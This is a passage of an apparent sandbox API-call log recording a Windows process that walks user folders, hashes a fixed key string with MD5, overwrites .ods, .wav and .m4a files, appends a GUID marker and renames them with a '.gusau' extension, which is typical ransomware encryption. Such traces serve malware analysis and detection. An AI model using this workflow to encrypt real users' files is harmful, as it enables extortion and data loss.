nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0118.502] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0118.502] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.503] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.503] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0118.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0118.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0118.503] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.503] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.503] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.503] PathFindFileNameW (pszPath="") returned="" [0118.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.504] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.504] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0118.504] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0118.505] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0118.505] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0118.505] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0118.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\") returned="Fv3TELB 8E\\" [0118.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\") returned="Mv1WVGRvzH\\" [0118.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0118.505] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0118.505] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0118.505] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0118.505] PathFindFileNameW (pszPath="") returned="" [0118.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e75b90, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0xeddd8c30, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xeddd8c30, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0118.508] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90e75b90, ftCreationTime.dwHighDateTime=0x1d4ca9b, ftLastAccessTime.dwLowDateTime=0xeddd8c30, ftLastAccessTime.dwHighDateTime=0x1d4d3c3, ftLastWriteTime.dwLowDateTime=0xeddd8c30, ftLastWriteTime.dwHighDateTime=0x1d4d3c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.508] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e136c20, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x1eca5270, ftLastAccessTime.dwHighDateTime=0x1d4d1a2, ftLastWriteTime.dwLowDateTime=0x1eca5270, ftLastWriteTime.dwHighDateTime=0x1d4d1a2, nFileSizeHigh=0x0, nFileSizeLow=0x65bf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2BSi.ods", cAlternateFileName="")) returned 1 [0118.508] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\2BSi.ods") returned=".ods" [0118.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\2BSi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\2bsi.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.509] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=26047) returned 1 [0118.509] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.511] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6599, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.511] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.512] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x65bf, lpOverlapped=0x0) returned 1 [0118.513] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.513] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.513] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.513] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.514] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.514] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.514] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.514] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.514] GetLastError () returned 0x0 [0118.514] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.514] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.515] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x65bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.515] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.515] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.515] CloseHandle (hObject=0x610) returned 1 [0118.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\2BSi.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\2bsi.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\2BSi.ods.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\2bsi.ods.gusau")) returned 1 [0118.517] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25ec3670, ftCreationTime.dwHighDateTime=0x1d4c885, ftLastAccessTime.dwLowDateTime=0xfa0d7980, ftLastAccessTime.dwHighDateTime=0x1d4cd28, ftLastWriteTime.dwLowDateTime=0xfa0d7980, ftLastWriteTime.dwHighDateTime=0x1d4cd28, nFileSizeHigh=0x0, nFileSizeLow=0x11df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eOYyRR2EObYB.wav", cAlternateFileName="EOYYRR~1.WAV")) returned 1 [0118.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.517] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.517] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.517] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eOYyRR2EObYB.wav") returned=".wav" [0118.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eOYyRR2EObYB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\eoyyrr2eobyb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.518] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=4575) returned 1 [0118.518] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.520] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.520] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.522] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.522] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.522] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11df, lpOverlapped=0x0) returned 1 [0118.522] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.522] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.522] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.522] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.522] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.523] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.523] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.523] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.523] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.523] GetLastError () returned 0x0 [0118.523] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.523] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.523] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.523] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11e0) returned 0x39f9f20 [0118.524] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.524] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11da, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11da, lpOverlapped=0x0) returned 1 [0118.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.524] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.524] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.524] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.524] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.524] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.524] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.524] CloseHandle (hObject=0x610) returned 1 [0118.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974258 [0118.525] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f4ef8 [0118.525] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974258 | out: hHeap=0xd10000) returned 1 [0118.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eOYyRR2EObYB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\eoyyrr2eobyb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eOYyRR2EObYB.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\eoyyrr2eobyb.wav.gusau")) returned 1 [0118.526] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.526] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.527] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x392e108 | out: hHeap=0xd10000) returned 1 [0118.527] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4ec7a0, ftCreationTime.dwHighDateTime=0x1d4cdcc, ftLastAccessTime.dwLowDateTime=0x74cd0860, ftLastAccessTime.dwHighDateTime=0x1d4c767, ftLastWriteTime.dwLowDateTime=0x74cd0860, ftLastWriteTime.dwHighDateTime=0x1d4c767, nFileSizeHigh=0x0, nFileSizeLow=0x11d56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eZfj5ZvjMOZ.m4a", cAlternateFileName="EZFJ5Z~1.M4A")) returned 1 [0118.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0118.527] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xbe) returned 0x392e108 [0118.527] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0118.527] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eZfj5ZvjMOZ.m4a") returned=".m4a" [0118.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Mv1WVGRvzH\\Fv3TELB 8E\\eZfj5ZvjMOZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mv1wvgrvzh\\fv3telb 8e\\ezfj5zvjmoz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.527] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=73046) returned 1 [0118.527] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.529] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11d30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.529] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.531] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.531] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.531] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.531] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x11d56, lpOverlapped=0x0) returned 1 [0118.532] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.532] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.532] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.532] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.532] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0118.533] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.533] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.533] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.533] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.533] GetLastError () returned 0x0 [0118.533] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.533] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0118.533] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.533] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11d60) returned 0x39f9f20 [0118.533] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.533] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.533] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x11d51, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x11d51, lpOverlapped=0x0) returned 1 [0118.534] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0118.534] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x11d56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0118.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f4ef8 [0118.534] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f4ef8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5328 [0118.534] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f4ef8 | out: hHeap=0xd10000) returned 1 [0118.534] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0118.534] WriteFile (in: hFile=0x610, lpBuffer=0x39f5328*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5328*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.534] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5328 | out: hHeap=0xd10000) returned 1 [0118.534] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.534] 